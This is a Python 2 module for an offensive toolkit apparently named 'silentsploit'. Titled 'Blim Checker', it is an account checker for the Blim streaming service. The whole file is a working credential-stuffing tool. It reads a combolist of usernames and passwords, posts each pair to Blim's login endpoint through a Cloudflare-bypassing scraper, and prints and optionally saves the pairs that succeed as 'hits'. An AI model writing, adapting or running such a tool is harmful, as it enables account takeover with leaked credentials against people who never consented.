text: #!/usr/bin/env python2
  #! -*- coding: UTF-8 -*-
  import os, sys, cfscrape
  import json
  import requests as reqs
  from bs4 import BeautifulSoup
  from silentsploit.core.modules import *
  from silentsploit.utils import *
  
  class Exploit(Exploit):
     __info__ = {
       "Name":"Blim Checker",
       "Version": "v1.0",
       "Authors": (
                     "Mr-Z3r0"
                  ),
       "LastModified": "12-02-2020",
       "StartText":"Blim checker V.10",
       "Description": "Blim Account checker"
     }
     combo = OptString("", "Insert your combolist")
     def run(self):
        if self.combo == "":
          print_error("You must set options after run")
        else:
          self.save = raw_input("Want you save hits y/n ")
          if self.save in ["y", "yes"]:
            self.file = raw_input("File > ")
          with open(self.combo) as f:
            for lines in f:
              users, passwords = lines.split(':')
              self.Threat(users.strip(), passwords.strip())
     def Threat(self, user, passw):
        session = cfscrape.create_scraper()
        login_page = "https://www.blim.com/account/login"
        #csrftok = login_soup.find(id='login_form__token')['value']
        params = {'username': user,
          'password': passw,
          'mso': '1',
          'rember': '0'
        }
        try: 
           source = reqs.post(login_page, data=params, timeout=15)
           source = json.loads(source.text)
           if source["messages"] == []:
              print('\033[1;32mHit\033[0m [{}:{}]'.format(user, passw))
              Hit = user+':'+passw
              if self.save in ["y", "yes"]:
                try:
                   f = open(self.file, "a+")
                   f.write(Hit)
                   f.close()
                except IOError:
                   print_error("Unknown error")
           else:
              print("\033[1;31mInvalid\033[0m [{}:{}]".format(user, passw))
        except reqs.exceptions.Timeout as e:
            print_error(e)
            return 